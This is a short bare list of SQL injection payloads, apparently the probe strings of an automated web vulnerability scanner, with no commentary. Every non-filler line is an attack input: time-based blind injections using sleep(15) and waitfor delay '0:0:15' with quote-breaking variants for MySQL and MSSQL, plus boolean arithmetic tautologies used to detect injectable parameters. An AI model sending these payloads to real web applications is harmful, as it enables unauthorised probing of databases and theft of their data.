1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

555

-1); waitfor delay '0:0:15' --

555

-1 OR 2+62-62-1=0+0+0+1 --

-1 OR 2+512-512-1=0+0+0+1

-1' OR 2+450-450-1=0+0+0+1 --